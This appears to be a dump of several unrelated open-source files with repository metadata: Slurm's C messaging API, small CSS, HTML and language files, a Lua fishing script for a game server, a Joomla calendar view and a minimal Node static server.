static void _rc_msg_setup(slurm_msg_t *msg, slurm_msg_t *resp_msg,
return_code_msg_t *rc_msg, int rc)
{
memset(rc_msg, 0, sizeof(return_code_msg_t));
rc_msg->return_code = rc;
slurm_msg_t_init(resp_msg);
resp_msg->protocol_version = msg->protocol_version;
resp_msg->address = msg->address;
resp_msg->msg_type = RESPONSE_SLURM_RC;
resp_msg->data = rc_msg;
resp_msg->flags = msg->flags;
resp_msg->forward = msg->forward;
resp_msg->forward_struct = msg->forward_struct;
resp_msg->ret_list = msg->ret_list;
resp_msg->orig_addr = msg->orig_addr;
}
/**********************************************************************\
* simplified communication routines
* They open a connection do work then close the connection all within
* the function
\**********************************************************************/
/* slurm_send_rc_msg
* given the original request message this function sends a
* slurm_return_code message back to the client that made the request
* IN request_msg - slurm_msg the request msg
* IN rc - the return_code to send back to the client
*/
int slurm_send_rc_msg(slurm_msg_t *msg, int rc)
{
if (msg->msg_index && msg->ret_list) {
slurm_msg_t *resp_msg = xmalloc_nz(sizeof(slurm_msg_t));
return_code_msg_t *rc_msg =
xmalloc_nz(sizeof(return_code_msg_t));
_rc_msg_setup(msg, resp_msg, rc_msg, rc);
resp_msg->msg_index = msg->msg_index;
resp_msg->ret_list = NULL;
/* The return list here is the list we are sending to
the node, so after we attach this message to it set
it to NULL to remove it.
*/
list_append(msg->ret_list, resp_msg);
return SLURM_SUCCESS;
} else {
slurm_msg_t resp_msg;
return_code_msg_t rc_msg;
if (msg->conn_fd < 0) {
slurm_seterrno(ENOTCONN);
return SLURM_ERROR;
}
_rc_msg_setup(msg, &resp_msg, &rc_msg, rc);
/* send message */
return slurm_send_node_msg(msg->conn_fd, &resp_msg);
}
}
/* slurm_send_rc_err_msg
* given the original request message this function sends a
* slurm_return_code message back to the client that made the request
* IN request_msg - slurm_msg the request msg
* IN rc - the return_code to send back to the client
* IN err_msg - message for user
*/
int slurm_send_rc_err_msg(slurm_msg_t *msg, int rc, char *err_msg)
{
slurm_msg_t resp_msg;
return_code2_msg_t rc_msg;
if (msg->conn_fd < 0) {
slurm_seterrno(ENOTCONN);
return SLURM_ERROR;
}
rc_msg.return_code = rc;
rc_msg.err_msg = err_msg;
slurm_msg_t_init(&resp_msg);
resp_msg.protocol_version = msg->protocol_version;
resp_msg.address = msg->address;
resp_msg.msg_type = RESPONSE_SLURM_RC_MSG;
resp_msg.data = &rc_msg;
resp_msg.flags = msg->flags;
resp_msg.forward = msg->forward;
resp_msg.forward_struct = msg->forward_struct;
resp_msg.ret_list = msg->ret_list;
resp_msg.orig_addr = msg->orig_addr;
/* send message */
return slurm_send_node_msg(msg->conn_fd, &resp_msg);
}
/*
* Send and recv a slurm request and response on the open slurm descriptor
* IN fd - file descriptor to receive msg on
* IN req - a slurm_msg struct to be sent by the function
* OUT resp - a slurm_msg struct to be filled in by the function
* IN timeout - how long to wait in milliseconds
* RET int - returns 0 on success, -1 on failure and sets errno
*/
static int
_send_and_recv_msg(slurm_fd_t fd, slurm_msg_t *req,
slurm_msg_t *resp, int timeout)
{
int retry = 0;
int rc = -1;
slurm_msg_t_init(resp);
if (slurm_send_node_msg(fd, req) >= 0) {
/* no need to adjust and timeouts here since we are not
forwarding or expecting anything other than 1 message
and the regular timeout will be altered in
slurm_receive_msg if it is 0 */
rc = slurm_receive_msg(fd, resp, timeout);
}
/*
* Attempt to close an open connection
*/
while ((slurm_shutdown_msg_conn(fd) < 0) && (errno == EINTR) ) {
if (retry++ > MAX_SHUTDOWN_RETRY) {
break;
}
}
return rc;
}
/*
* Send and recv a slurm request and response on the open slurm descriptor
* with a list containing the responses of the children (if any) we
* forwarded the message to. List containing type (ret_data_info_t).
* IN fd - file descriptor to receive msg on
* IN req - a slurm_msg struct to be sent by the function
* IN timeout - how long to wait in milliseconds
* RET List - List containing the responses of the children (if any) we
* forwarded the message to. List containing type
* (ret_data_info_t).
*/
static List
_send_and_recv_msgs(slurm_fd_t fd, slurm_msg_t *req, int timeout)
{
int retry = 0;
List ret_list = NULL;
int steps = 0;
int width;
if (!req->forward.timeout) {
if (!timeout)
timeout = slurm_get_msg_timeout() * 1000;
req->forward.timeout = timeout;
}
if (slurm_send_node_msg(fd, req) >= 0) {
if (req->forward.cnt > 0) {
/* figure out where we are in the tree and set
* the timeout for to wait for our children
* correctly
* (timeout+message_timeout sec per step)
* to let the child timeout */
if (message_timeout < 0)
message_timeout = slurm_get_msg_timeout() * 1000;
steps = req->forward.cnt + 1;
width = slurm_get_tree_width();
if (width)
steps /= width;
timeout = (message_timeout * steps);
steps++;
timeout += (req->forward.timeout*steps);
}
ret_list = slurm_receive_msgs(fd, steps, timeout);
}
/*
* Attempt to close an open connection
*/
while ((slurm_shutdown_msg_conn(fd) < 0) && (errno == EINTR) ) {
if (retry++ > MAX_SHUTDOWN_RETRY) {
break;
}
}
return ret_list;
}
/*
* slurm_send_recv_controller_msg
* opens a connection to the controller, sends the controller a message,
* listens for the response, then closes the connection
* IN request_msg - slurm_msg request
* OUT response_msg - slurm_msg response
* RET int - returns 0 on success, -1 on failure and sets errno
*/
int slurm_send_recv_controller_msg(slurm_msg_t *req, slurm_msg_t *resp)
{
slurm_fd_t fd = -1;
int rc = 0;
time_t start_time = time(NULL);
int retry = 1;
slurm_ctl_conf_t *conf;
bool backup_controller_flag;
uint16_t slurmctld_timeout;
slurm_addr_t ctrl_addr;
/* Just in case the caller didn't initialize his slurm_msg_t, and
* since we KNOW that we are only sending to one node (the controller),
* we initialize some forwarding variables to disable forwarding.
*/
forward_init(&req->forward, NULL);
req->ret_list = NULL;
req->forward_struct = NULL;
if (working_cluster_rec)
req->flags |= SLURM_GLOBAL_AUTH_KEY;
if ((fd = slurm_open_controller_conn(&ctrl_addr)) < 0) {
rc = -1;
goto cleanup;
}
conf = slurm_conf_lock();
backup_controller_flag = conf->backup_controller ? true : false;
slurmctld_timeout = conf->slurmctld_timeout;
slurm_conf_unlock();
while (retry) {
/* If the backup controller is in the process of assuming
* control, we sleep and retry later */
retry = 0;
rc = _send_and_recv_msg(fd, req, resp, 0);
if (resp->auth_cred)
g_slurm_auth_destroy(resp->auth_cred);
else
rc = -1;
if ((rc == 0) && (!working_cluster_rec)
&& (resp->msg_type == RESPONSE_SLURM_RC)
&& ((((return_code_msg_t *) resp->data)->return_code)
== ESLURM_IN_STANDBY_MODE)
&& (backup_controller_flag)
&& (difftime(time(NULL), start_time)
< (slurmctld_timeout + (slurmctld_timeout / 2)))) {
debug("Neither primary nor backup controller "
"responding, sleep and retry");
slurm_free_return_code_msg(resp->data);
sleep(30);
if ((fd = slurm_open_controller_conn(&ctrl_addr))
< 0) {
rc = -1;
} else {
retry = 1;
}
}
if (rc == -1)
break;
}
cleanup:
if (rc != 0)
_remap_slurmctld_errno();
return rc;
}
/* slurm_send_recv_node_msg
* opens a connection to node, sends the node a message, listens
* for the response, then closes the connection
* IN request_msg - slurm_msg request
* OUT response_msg - slurm_msg response
* IN timeout - how long to wait in milliseconds
* RET int - returns 0 on success, -1 on failure and sets errno
*/
int slurm_send_recv_node_msg(slurm_msg_t *req, slurm_msg_t *resp, int timeout)
{
slurm_fd_t fd = -1;
resp->auth_cred = NULL;
if ((fd = slurm_open_msg_conn(&req->address)) < 0)
return -1;
return _send_and_recv_msg(fd, req, resp, timeout);
}
/* slurm_send_only_controller_msg
* opens a connection to the controller, sends the controller a
* message then, closes the connection
* IN request_msg - slurm_msg request
* RET int - return code
* NOTE: NOT INTENDED TO BE CROSS-CLUSTER
*/
int slurm_send_only_controller_msg(slurm_msg_t *req)
{
int rc = SLURM_SUCCESS;
int retry = 0;
slurm_fd_t fd = -1;
slurm_addr_t ctrl_addr;
/*
* Open connection to SLURM controller:
*/
if ((fd = slurm_open_controller_conn(&ctrl_addr)) < 0) {
rc = SLURM_SOCKET_ERROR;
goto cleanup;
}
if ((rc = slurm_send_node_msg(fd, req) < 0)) {
rc = SLURM_ERROR;
} else {
debug3("slurm_send_only_controller_msg: sent %d", rc);
rc = SLURM_SUCCESS;
}
/*
* Attempt to close an open connection
*/
while ( (slurm_shutdown_msg_conn(fd) < 0) && (errno == EINTR) ) {
if (retry++ > MAX_SHUTDOWN_RETRY) {
rc = SLURM_SOCKET_ERROR;
goto cleanup;
}
}
cleanup:
if (rc != SLURM_SUCCESS)
_remap_slurmctld_errno();
return rc;
}
/*
* Open a connection to the "address" specified in the slurm msg `req'
* Then, immediately close the connection w/out waiting for a reply.
*
* Returns SLURM_SUCCESS on success SLURM_FAILURE (< 0) for failure.
*/
int slurm_send_only_node_msg(slurm_msg_t *req)
{
int rc = SLURM_SUCCESS;
int retry = 0;
slurm_fd_t fd = -1;
if ((fd = slurm_open_msg_conn(&req->address)) < 0) {
return SLURM_SOCKET_ERROR;
}
if ((rc = slurm_send_node_msg(fd, req) < 0)) {
rc = SLURM_ERROR;
} else {
debug3("slurm_send_only_node_msg: sent %d", rc);
rc = SLURM_SUCCESS;
}
/*
* Attempt to close an open connection
*/
while ( (slurm_shutdown_msg_conn(fd) < 0) && (errno == EINTR) ) {
if (retry++ > MAX_SHUTDOWN_RETRY)
return SLURM_SOCKET_ERROR;
}
return rc;
}
/*
* Send a message to the nodelist specificed using fanout
* Then return List containing type (ret_data_info_t).
* IN nodelist - list of nodes to send to.
* IN msg - a slurm_msg struct to be sent by the function
* IN timeout - how long to wait in milliseconds
* IN quiet - if set, reduce logging details
* RET List - List containing the responses of the children
* (if any) we forwarded the message to. List
* containing type (ret_data_info_t).
*/
List slurm_send_recv_msgs(const char *nodelist, slurm_msg_t *msg,
int timeout, bool quiet)
{
List ret_list = NULL;
hostlist_t hl = NULL;
if (!nodelist || !strlen(nodelist)) {
error("slurm_send_recv_msgs: no nodelist given");
return NULL;
}
hl = hostlist_create(nodelist);
if (!hl) {
error("slurm_send_recv_msgs: problem creating hostlist");
return NULL;
}
ret_list = start_msg_tree(hl, msg, timeout);
hostlist_destroy(hl);
return ret_list;
}
/*
* Send a message to msg->address
* Then return List containing type (ret_data_info_t).
* IN msg - a slurm_msg struct to be sent by the function
* IN timeout - how long to wait in milliseconds
* RET List - List containing the responses of the children
* (if any) we forwarded the message to. List
* containing type (ret_types_t).
*/
List slurm_send_addr_recv_msgs(slurm_msg_t *msg, char *name, int timeout)
{
static pthread_mutex_t conn_lock = PTHREAD_MUTEX_INITIALIZER;
static uint16_t conn_timeout = (uint16_t) NO_VAL;
List ret_list = NULL;
slurm_fd_t fd = -1;
ret_data_info_t *ret_data_info = NULL;
ListIterator itr;
int i;
slurm_mutex_lock(&conn_lock);
if (conn_timeout == (uint16_t) NO_VAL)
conn_timeout = MIN(slurm_get_msg_timeout(), 10);
slurm_mutex_unlock(&conn_lock);
/* This connect retry logic permits Slurm hierarchical communications
* to better survive slurmd restarts */
for (i = 0; i <= conn_timeout; i++) {
if (i)
sleep(1);
fd = slurm_open_msg_conn(&msg->address);
if ((fd >= 0) || (errno != ECONNREFUSED))
break;
if (i == 0)
debug3("connect refused, retrying");
}
if (fd < 0) {
mark_as_failed_forward(&ret_list, name,
SLURM_COMMUNICATIONS_CONNECTION_ERROR);
errno = SLURM_COMMUNICATIONS_CONNECTION_ERROR;
return ret_list;
}
msg->ret_list = NULL;
msg->forward_struct = NULL;
if (!(ret_list = _send_and_recv_msgs(fd, msg, timeout))) {
mark_as_failed_forward(&ret_list, name, errno);
errno = SLURM_COMMUNICATIONS_CONNECTION_ERROR;
return ret_list;
} else {
itr = list_iterator_create(ret_list);
while ((ret_data_info = list_next(itr)))
if (!ret_data_info->node_name) {
ret_data_info->node_name = xstrdup(name);
}
list_iterator_destroy(itr);
}
return ret_list;
}
/*
* Open a connection to the "address" specified in the slurm msg "req".
* Then read back an "rc" message returning the "return_code" specified
* in the response in the "rc" parameter.
* IN req - a slurm_msg struct to be sent by the function
* OUT rc - return code from the sent message
* IN timeout - how long to wait in milliseconds
* RET int either 0 for success or -1 for failure.
*/
int slurm_send_recv_rc_msg_only_one(slurm_msg_t *req, int *rc, int timeout)
{
slurm_fd_t fd = -1;
int ret_c = 0;
slurm_msg_t resp;
slurm_msg_t_init(&resp);
/* Just in case the caller didn't initialize his slurm_msg_t, and
* since we KNOW that we are only sending to one node,
* we initialize some forwarding variables to disable forwarding.
*/
forward_init(&req->forward, NULL);
req->ret_list = NULL;
req->forward_struct = NULL;
if ((fd = slurm_open_msg_conn(&req->address)) < 0)
return -1;
if (!_send_and_recv_msg(fd, req, &resp, timeout)) {
if (resp.auth_cred)
g_slurm_auth_destroy(resp.auth_cred);
*rc = slurm_get_return_code(resp.msg_type, resp.data);
slurm_free_msg_data(resp.msg_type, resp.data);
ret_c = 0;
} else
ret_c = -1;
return ret_c;
}
/*
* Send message to controller and get return code.
* Make use of slurm_send_recv_controller_msg(), which handles
* support for backup controller and retry during transistion.
*/
int slurm_send_recv_controller_rc_msg(slurm_msg_t *req, int *rc)
{
int ret_c;
slurm_msg_t resp;
if (!slurm_send_recv_controller_msg(req, &resp)) {
*rc = slurm_get_return_code(resp.msg_type, resp.data);
slurm_free_msg_data(resp.msg_type, resp.data);
ret_c = 0;
} else {
ret_c = -1;
}
return ret_c;
}
/* this is used to set how many nodes are going to be on each branch
* of the tree.
* IN total - total number of nodes to send to
* IN tree_width - how wide the tree should be on each hop
* RET int * - int array tree_width in length each space
* containing the number of nodes to send to each hop
* on the span.
*/
extern int *set_span(int total, uint16_t tree_width)
{
int *span = NULL;
int left = total;
int i = 0;
if (tree_width == 0)
tree_width = slurm_get_tree_width();
span = xmalloc(sizeof(int) * tree_width);
//info("span count = %d", tree_width);
if (total <= tree_width) {
return span;
}
while (left > 0) {
for (i = 0; i < tree_width; i++) {
if ((tree_width-i) >= left) {
if (span[i] == 0) {
left = 0;
break;
} else {
span[i] += left;
left = 0;
break;
}
} else if (left <= tree_width) {
if (span[i] == 0)
left--;
span[i] += left;
left = 0;
break;
}
if (span[i] == 0)
left--;
span[i] += tree_width;
left -= tree_width;
}
}
return span;
}
/*
* Free a slurm message
*/
extern void slurm_free_msg(slurm_msg_t * msg)
{
if (msg) {
if (msg->auth_cred) {
(void) g_slurm_auth_destroy(msg->auth_cred);
}
FREE_NULL_LIST(msg->ret_list);
xfree(msg);
}
}
extern char *nodelist_nth_host(const char *nodelist, int inx)
{
hostlist_t hl = hostlist_create(nodelist);
char *name = hostlist_nth(hl, inx);
hostlist_destroy(hl);
return name;
}
extern int nodelist_find(const char *nodelist, const char *name)
{
hostlist_t hl = hostlist_create(nodelist);
int id = hostlist_find(hl, name);
hostlist_destroy(hl);
return id;
}
extern void convert_num_unit2(double num, char *buf, int buf_size,
int orig_type, int divisor, bool exact)
{
char *unit = "\0KMGTP?";
uint64_t i;
if ((int64_t)num == 0) {
snprintf(buf, buf_size, "0");
return;
} else if (exact) {
i = (uint64_t)num % (divisor / 2);
if (i > 0) {
snprintf(buf, buf_size, "%"PRIu64"%c",
(uint64_t)num, unit[orig_type]);
return;
}
}
while (num > divisor) {
num /= divisor;
orig_type++;
}
if (orig_type < UNIT_NONE || orig_type > UNIT_PETA)
orig_type = UNIT_UNKNOWN;
i = (uint64_t)num;
/* Here we are checking to see if these numbers are the same,
* meaning the float has not floating point. If we do have
* floating point print as a float.
*/
if ((double)i == num)
snprintf(buf, buf_size, "%"PRIu64"%c", i, unit[orig_type]);
else
snprintf(buf, buf_size, "%.2f%c", num, unit[orig_type]);
}
extern void convert_num_unit(double num, char *buf, int buf_size, int orig_type)
{
int unit;
switch (orig_type) {
case UNIT_NONE:
case UNIT_KILO:
case UNIT_UNKNOWN:
unit = 1024;
break;
case UNIT_MEGA:
unit = 1024 * 1024;
break;
case UNIT_GIGA:
case UNIT_TERA:
case UNIT_PETA:
/* For TERA e PETA an int is not enough
*/
unit = 1024 * 1024 * 1024;
break;
}
convert_num_unit2(num, buf, buf_size, orig_type, unit, true);
}
extern int revert_num_unit(const char *buf)
{
char *unit = "\0KMGTP\0";
int i = 1, j = 0, number = 0;
if (!buf)
return -1;
j = strlen(buf) - 1;
while (unit[i]) {
if (toupper((int)buf[j]) == unit[i])
break;
i++;
}
number = atoi(buf);
if (unit[i])
number *= (i*1024);
return number;
}
#if _DEBUG
static void _print_data(char *data, int len)
{
int i;
for (i = 0; i < len; i++) {
if ((i % 10 == 0) && (i != 0))
printf("\n");
printf("%2.2x ", ((int) data[i] & 0xff));
if (i >= 200)
break;
}
printf("\n\n");
}
#endif
/*
* slurm_forward_data - forward arbitrary data to unix domain sockets on nodes
* IN nodelist: nodes to forward data to
* IN address: address of unix domain socket
* IN len: length of data
* IN data: real data
* RET: error code
*/
extern int
slurm_forward_data(char *nodelist, char *address, uint32_t len, char *data)
{
List ret_list = NULL;
int temp_rc = 0, rc = 0;
ret_data_info_t *ret_data_info = NULL;
slurm_msg_t *msg = xmalloc(sizeof(slurm_msg_t));
forward_data_msg_t req;
slurm_msg_t_init(msg);
debug("slurm_forward_data: nodelist=%s, address=%s, len=%u",
nodelist, address, len);
req.address = address;
req.len = len;
req.data = data;
msg->msg_type = REQUEST_FORWARD_DATA;
msg->data = &req;
if ((ret_list = slurm_send_recv_msgs(nodelist, msg, 0, false))) {
while ((ret_data_info = list_pop(ret_list))) {
temp_rc = slurm_get_return_code(ret_data_info->type,
ret_data_info->data);
if (temp_rc)
rc = temp_rc;
}
} else {
error("slurm_forward_data: no list was returned");
rc = SLURM_ERROR;
}
slurm_free_msg(msg);
return rc;
}
extern void slurm_setup_sockaddr(struct sockaddr_in *sin, uint16_t port)
{
static uint32_t s_addr = NO_VAL;
memset(sin, 0, sizeof(struct sockaddr_in));
sin->sin_family = AF_SLURM;
sin->sin_port = htons(port);
if (s_addr == NO_VAL) {
/* On systems with multiple interfaces we might not
* want to get just any address. This is the case on
* a Cray system with RSIP.
*/
char *topology_params = slurm_get_topology_param();
if (topology_params &&
slurm_strcasestr(topology_params, "NoInAddrAny")) {
char host[MAXHOSTNAMELEN];
if (!gethostname(host, MAXHOSTNAMELEN)) {
slurm_set_addr_char(sin, port, host);
s_addr = sin->sin_addr.s_addr;
} else
fatal("slurm_setup_sockaddr: "
"Can't get hostname or addr: %m");
} else
s_addr = htonl(INADDR_ANY);
xfree(topology_params);
}
sin->sin_addr.s_addr = s_addr;
}
/* sock_bind_range()
*/
int
sock_bind_range(int s, uint16_t *range)
{
uint32_t count;
uint32_t min;
uint32_t max;
uint32_t port;
uint32_t num;
min = range[0];
max = range[1];
srand(getpid());
num = max - min + 1;
port = min + (random() % num);
count = num;
do {
if (_is_port_ok(s, port))
return port;
if (port == max)
port = min;
else
++port;
--count;
} while (count > 0);
error("%s: ohmygosh all ports in range (%d, %d) exhausted",
__func__, min, max);
return -1;
}
/* _is_port_ok()
*
* Check if we can bind() the socket s to port port.
*/
static bool
_is_port_ok(int s, uint16_t port)
{
struct sockaddr_in sin;
slurm_setup_sockaddr(&sin, port);
if (bind(s, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
debug("%s: bind() failed port %d sock %d %m",
__func__, port, s);
return false;
}
return true;
}
/* slurm_get_prolog_timeout
* Get prolog/epilog timeout
*/
uint16_t slurm_get_prolog_timeout(void)
{
uint16_t timeout = 0;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
timeout = conf->prolog_epilog_timeout;
slurm_conf_unlock();
}
return timeout;
}
|
corburn/slurm
|
src/common/slurm_protocol_api.c
|
C
|
gpl-2.0
| 110,409
|
body {
padding: 0;
margin: 0px;
}
a {
text-decoration: none;
}
div.menubar {
padding: 4px;
text-align: right;
}
|
pmfournier/netqual
|
htmlstatic/index.css
|
CSS
|
gpl-2.0
| 119
|
{{extend 'layout_score.html'}}
<div class="grid">
{{=H3('Active Services')}}
{{=active}}
</div>
<div class="grid">
{{=H3('Disabled services')}}
{{=disabled}}
</div>
|
ShySec/scrimmage-scoreboard
|
web2py/applications/scoreboard/views/services/index.html
|
HTML
|
gpl-2.0
| 171
|
<?php
/* --------------------------------------------------------------
blacklist.php 2008-08-10 gambio
Gambio OHG
http://www.gambio.de
Copyright (c) 2008 Gambio OHG
Released under the GNU General Public License (Version 2)
[http://www.gnu.org/licenses/gpl-2.0.html]
--------------------------------------------------------------
$Id: blacklist.php 899 2005-04-29 02:40:57Z hhgag $
XTC-CC - Contribution for XT-Commerce http://www.xt-commerce.com
modified by http://www.netz-designer.de
Copyright (c) 2003 netz-designer
-----------------------------------------------------------------------------
based on:
$Id: blacklist.php.php,v 1.00
Copyright (c) 2003 BMC
http://www.mainframes.co.uk
Released under the GNU General Public License
------------------------------------------------------------------------------*/
define('HEADING_TITLE', 'Kreditkarten-Blackliste');
// BOF GM_MOD
define('HEADING_SUB_TITLE', 'Hilfsprogramme');
// EOF GM_MOD
define('TABLE_HEADING_BLACKLIST', 'Kreditkarten-Blackliste');
define('TABLE_HEADING_ACTION', 'Aktion');
define('TEXT_MARKED_ELEMENTS','Markiertes Element');
define('TEXT_HEADING_NEW_BLACKLIST_CARD', 'Neue Karte');
define('TEXT_HEADING_EDIT_BLACKLIST_CARD', 'Karte bearbeiten');
define('TEXT_HEADING_DELETE_BLACKLIST_CARD', 'Karte löschen');
define('TEXT_DISPLAY_NUMBER_OF_BLACKLIST_CARDS', 'Karten anzeigen');
define('TEXT_DATE_ADDED', 'Hinzugefügt am:');
define('TEXT_LAST_MODIFIED', 'Zuletzt geändert:');
define('TEXT_NEW_INTRO', 'Tragen Sie die Kreditkartennummer ein, die gesperrt werden soll.');
define('TEXT_EDIT_INTRO', 'Bitte führen Sie die notwendigen Änderungen durch.');
define('TEXT_BLACKLIST_CARD_NUMBER', 'Kartennummer:');
define('TEXT_DELETE_INTRO', 'Sind Sie sicher, dass Sie diese Karte löschen wollen?');
?>
|
pobbes/gambio
|
lang/german/admin/blacklist.php
|
PHP
|
gpl-2.0
| 1,844
|
markery_ryby={"403.7336730957,-2086.9340820313,7.8300905227661" ,
"396.11712646484,-2087.2326660156,7.8359375" ,
"368.95776367188,-2086.4436035156,7.8359375",
"354.84902954102,-2087.970703125,7.8359375",
"374.82989501953,-2086.5729980469,7.8359375",
"391.11544799805,-2087.4682617188,7.8359375"}
function Check(funcname, ...)
local arg = {...}
if (type(funcname) ~= "string") then
error("Argument type mismatch at 'Check' ('funcname'). Expected 'string', got '"..type(funcname).."'.", 2)
end
if (#arg % 3 > 0) then
error("Argument number mismatch at 'Check'. Expected #arg % 3 to be 0, but it is "..(#arg % 3)..".", 2)
end
for i=1, #arg-2, 3 do
if (type(arg[i]) ~= "string" and type(arg[i]) ~= "table") then
error("Argument type mismatch at 'Check' (arg #"..i.."). Expected 'string' or 'table', got '"..type(arg[i]).."'.", 2)
elseif (type(arg[i+2]) ~= "string") then
error("Argument type mismatch at 'Check' (arg #"..(i+2).."). Expected 'string', got '"..type(arg[i+2]).."'.", 2)
end
if (type(arg[i]) == "table") then
local aType = type(arg[i+1])
for _, pType in next, arg[i] do
if (aType == pType) then
aType = nil
break
end
end
if (aType) then
error("Argument type mismatch at '"..funcname.."' ('"..arg[i+2].."'). Expected '"..table.concat(arg[i], "' or '").."', got '"..aType.."'.", 3)
end
elseif (type(arg[i+1]) ~= arg[i]) then
error("Argument type mismatch at '"..funcname.."' ('"..arg[i+2].."'). Expected '"..arg[i].."', got '"..type(arg[i+1]).."'.", 3)
end
end
end
function string.explode(self, separator)
Check("string.explode", "string", self, "ensemble", "string", separator, "separator")
if (#self == 0) then return {} end
if (#separator == 0) then return { self } end
return loadstring("return {\""..self:gsub(separator, "\",\"").."\"}")()
end
bazaryby=createMarker(376.08239746094,-2068.5048828125,6.8359375,"cylinder",2,255,0,0)
setElementData(bazaryby,"ryby_marker2",true)
setElementData(bazaryby,"ryby_baza",true)
function bazaRyby()
for i,k in ipairs (markery_ryby) do
local pozycja=string.explode(unpack(markery_ryby,i),",")
local x = pozycja[1]
local y = pozycja[2]
local z = pozycja[3]
local marker=createMarker(x,y,z-1,"cylinder",2,255,255,0)
setElementData(marker,"ryby_marker",true)
setElementData(marker,"ryby_enabled",true)
end
end
addEventHandler("onResourceStart",root,bazaRyby)
function rybyMark(element,dim)
if getElementType(element) == "player" then
if getElementData(source,"ryby_marker")==true then
if getElementData(source,"ryby_enabled") == true then
triggerClientEvent(element,"rybyStart",element,source)
setElementData(source,"ryby_enabled",false)
else
outputChatBox("[INFO] To łowisko już jest zajęte przez innego gracza. ",element )
end
end
if getElementData(source,"ryby_marker2") == true then
if getElementData(source,"ryby_baza") == true then
triggerClientEvent(element,"sprzedajRyby",element)
end
end
end
end
addEventHandler("onMarkerHit",root,rybyMark)
function dodajRybyData()
setElementData(source,"ryby_zlowione",0)
end
addEventHandler("onPlayerJoin",root,dodajRybyData)
function givePlayerMoney(c)
exports.global:giveMoney( source, c )
end
addEvent("givePlayerMoney", true)
addEventHandler("givePlayerMoney", getRootElement(), givePlayerMoney)
|
Daniex0r/project-roleplay-rp
|
resources/prp_ryby/server.lua
|
Lua
|
gpl-2.0
| 3,539
|
<?php
/**
* com_simplecalendar - a simple calendar component for Joomla
* Copyright (C) 2008-2009 Fabrizio Albonico
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
// no direct access
defined('_JEXEC') or die('Restricted access');
jimport('joomla.application.component.view');
JHTML::stylesheet('simplecal_front.css','components/com_simplecalendar/assets/css/');
class SimpleCalendarViewCalendar extends JView {
function display($tmpl = null) {
global $option, $mainframe;
$document = & JFactory::getDocument();
$catid = '';
$options = '';
$user =& JFactory::getUser();
$categoryName = '';
$component = JComponentHelper::getComponent( 'com_simplecalendar' );
$params = '';
$config = SCOutput::config();
// ---
$menus =& JSite::getMenu();
$menu = $menus->getActive();
$params =& $mainframe->getParams();
$isPrint = false;
$isPdf = false;
$lists = array();
$pagination = '';
$lists['document'] =& JFactory::getDocument();
$lists['pathway'] =& $mainframe->getPathWay();
$menuitemid = JRequest::getInt( 'Itemid' );
$lists['search'] = $mainframe->getUserStateFromRequest( $option.'search', 'search', '', 'string' );
$lists['search'] = JString::strtolower( $lists['search'] );
$lists['mainframe'] = $mainframe;
$lists['categoryName'] = '';
$lists['isPrint'] = false;
$lists['isPdf'] = false;
// check if entries are available, else print a "no events available" line
$lists['hasEntries'] =& $this->get('Total');
// Check whether we're dealing with an iCal/vCal request
$vcal = JRequest::getBool('vcal');
if ($vcal) {
// $document->setMetaData('robots', 'noindex, nofollow');
$tmpl = 'vcal';
if ($lists['hasEntries'] > 0) {
$items =& $this->get('Data');
$this->assignRef('items', $items);
$this->assignRef('params', $params);
parent::display($tmpl);
}
}
$catidValue = JRequest::getString('catid');
$catid = explode(':', $catidValue);
if ( $catid[0] != 0 ) {
$lists['catid'] = $catid[0];
$lists['categoryName'] =& $this->get('CategoryName');
} else if ( $params->get('catid') != 0 ) {
$lists['catid'] = $params->get('catid');
$lists['categoryName'] =& $this->get('CategoryName');
} else {
$lists['catid'] = 0;
}
$lists['calendarTitle'] = '';
if ( is_object($menu) ) {
$menu_params = new JParameter( $menu->params );
if ( !$menu_params->get( 'page_title') ) {
$params->set('page_title', JText::_('Calendar'));
}
} else {
$params->set('page_title', JText::_('Calendar'));
}
if ( $params->get('page_title') != '' && $lists['categoryName'] != '' ){
$params->set('page_title', $params->get('page_title') . ' / ' . $lists['categoryName']);
}
// Check whether we are dealing with PDF or print version of the calendar
if (JRequest::getVar('format') == 'pdf') {
$lists['isPdf'] = TRUE;
}
if (JRequest::getBool('print')) {
$lists['isPrint'] = TRUE;
}
//TODO: add metadata from Joomla site
// $metadata = 'Calendar, SimpleCalendar, List';
// $lists['document']->setMetadata('keywords', $metadata );
//http://forum.joomla.org/viewtopic.php?p=1679517
@ini_set("pcre.backtrack_limit", -1);
$items =& $this->get('Data');
if ( $config->show_search_bar && !$lists['isPrint'] ) {
$pagination =& $this->get('Pagination');
}
//feed management
if ( $params->get('linkToRSS', '1') ) {
$link = 'index.php?view=calendar&format=feed';
$attribs = array('type' => 'application/rss+xml', 'title' => 'RSS 2.0');
$document->addHeadLink(JRoute::_($link.'&type=rss'), 'alternate', 'rel', $attribs);
$attribs = array('type' => 'application/atom+xml', 'title' => 'Atom 1.0');
$document->addHeadLink(JRoute::_($link.'&type=atom'), 'alternate', 'rel', $attribs);
}
$this->assignRef('items', $items);
$this->assignRef('params', $params);
$this->assignRef('config', $config);
$this->assignRef('lists', $lists);
$this->assignRef('user', $user);
$this->assignRef('pagination', $pagination);
$this->assignRef('document', $document);
parent::display($tmpl);
}
}
?>
|
mchalupar/Union-Leopoldschlag
|
tmp/install_50dda12248b2d/component/views/calendar/view.html.php
|
PHP
|
gpl-2.0
| 4,869
|
/*global require,__dirname*/
var connect = require('connect');
connect.createServer(
connect.static(__dirname)
).listen(8080);
|
kurthalex/BRGM-BdCavite-cesium
|
cesium/Build/server.js
|
JavaScript
|
gpl-2.0
| 127
|
/*
* Copyright Johannes Sixt
* This file is licensed under the GNU General Public License Version 2.
* See the file COPYING in the toplevel directory of the source directory.
*/
#ifndef ENVVAR_H
#define ENVVAR_H
/*
* Description of environment variables. Note that the name of the variable
* is given as the key in the QDict, so we don't repeat it here.
*/
class QListViewItem;
struct EnvVar {
QString value;
enum EnvVarStatus { EVclean, EVdirty, EVnew, EVdeleted };
EnvVarStatus status;
QListViewItem* item;
};
#endif // ENVVAR_H
|
iegor/kdesdk
|
kdbg/kdbg/envvar.h
|
C
|
gpl-2.0
